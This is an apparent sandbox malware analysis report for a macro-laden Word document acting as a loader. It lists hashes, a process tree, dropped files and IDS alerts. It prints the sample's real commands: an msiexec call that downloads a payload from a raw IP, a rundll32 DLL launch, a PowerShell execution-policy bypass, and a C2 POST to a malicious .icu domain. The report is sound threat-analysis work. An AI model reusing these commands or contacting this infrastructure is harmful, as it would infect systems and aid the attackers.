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File name:

NOTA GERENCIA DE ADM.doc

Full analysis: https://app.any.run/tasks/cb140106-473b-401e-923d-b48c691de6ef
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 21, 2019, 17:05:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 9, Name of Creating Application: Microsoft Office Word, Total Editing Time: 26:00, Create Time/Date: Thu Mar 21 07:56:00 2019, Last Saved Time/Date: Thu Mar 21 08:22:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 9, Security: 0
MD5:

B33A8F8AA723240E2E8D3CFD74F66384

SHA1:

C07FAABB80CFA8F00E37770BEDF2D61A6849CF3A

SHA256:

9EC913A7C1694C9F63FCB28322BDAEEE2205C8924C8AE05CC4EE30AA314F6511

SSDEEP:

1536:VqfY8qaiKOCDP9czDKaT+ej7Nhbi9AFl1SLLPtArDaV:VHHaiKOi9LInKc2Or+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2972)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2972)
    • Application was dropped or rewritten from another process

      • ns1BF9.tmp (PID: 3076)
    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3864)
    • Downloads executable files from IP

      • msiexec.exe (PID: 2172)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2172)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3748)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2172)
      • MSI1B2E.tmp (PID: 4072)
    • Starts application with an unusual extension

      • MSI1B2E.tmp (PID: 4072)
    • Starts CMD.EXE for commands execution

      • ns1BF9.tmp (PID: 3076)
      • rundll32.exe (PID: 3864)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2172)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 3624)
    • Creates files in the user directory

      • powershell.exe (PID: 2248)
    • Uses WHOAMI.EXE to obtaining logged on user information

      • cmd.exe (PID: 3172)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2972)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2972)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 2172)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2172)
    • Application was dropped or rewritten from another process

      • MSI1B2E.tmp (PID: 4072)
    • Loads dropped or rewritten executable

      • MSI1B2E.tmp (PID: 4072)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: 1
Keywords: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 9
Software: Microsoft Office Word
TotalEditTime: 26.0 minutes
CreateDate: 2019:03:21 07:56:00
ModifyDate: 2019:03:21 08:22:00
Pages: 1
Words: 1
Characters: 9
Security: None
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 9
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CodePage: Windows Cyrillic
Created: 2018:12:18 00:00:00
LastSaved: 2018:12:18 00:00:00
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
11
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs msiexec.exe no specs msiexec.exe msi1b2e.tmp ns1bf9.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs whoami.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2972"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\NOTA GERENCIA DE ADM.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2544"C:\Windows\System32\msiexec.exe" at=c36Ik back=002 error=Continue /i http://169.239.128.104/alg /q OnExit="c:\windows\calc.exe" FW=c36Ik C:\Windows\System32\msiexec.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2172C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
4072"C:\Windows\Installer\MSI1B2E.tmp"C:\Windows\Installer\MSI1B2E.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
3076"C:\Users\admin\AppData\Local\Temp\nse1BF8.tmp\ns1BF9.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nse1BF8.tmp\ns1BF9.tmpMSI1B2E.tmp
User:
admin
Integrity Level:
MEDIUM
3624"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exens1BF9.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3864rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3748cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2248powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3172cmd.exe /C whoamiC:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 775
Read events
1 032
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
4
Text files
10
Unknown types
7

Dropped files

PID
Process
Filename
Type
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR63B.tmp.cvr
MD5:
SHA256:
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF790482C1830642FA.TMP
MD5:
SHA256:
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF849E2BD768DC44C0.TMP
MD5:
SHA256:
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF69D54A4DD6E7E6C9.TMP
MD5:
SHA256:
2172msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD95C414656F370E1.TMP
MD5:
SHA256:
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:FC48CB658FCB4CE3E7A500C4E9954F8E
SHA256:0D6612B5E54534CA37029D28B2A07B87ECA8024146CFE6A4DE1786A2D10ED8F9
2972WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:09303C5EF5F12FB31111FE016D1250EF
SHA256:E3B323EC5BCD000A96D19845402FBE80DA41F448031A57FF21933795FC09823D
2172msiexec.exeC:\Windows\Installer\MSI1A61.tmpbinary
MD5:F47A8A9CEDEC3287F34AFDE8F4893D4E
SHA256:B717DC569A4079753BD4F33BCF06A18FADB77B035A6AC8DD4C07CCC881FD721B
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$TA GERENCIA DE ADM.docpgc
MD5:FAA2B52751C027AC0BD25A17910577A3
SHA256:576737A0145D8D1C730024ECB064D6DF4AD8314317BA42E4568B2F748F379701
4072MSI1B2E.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2172
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
3864
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
12 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2172
msiexec.exe
169.239.128.104:80
Zappie Host LLC
ZA
suspicious
3864
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
2172
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2172
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
3864
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info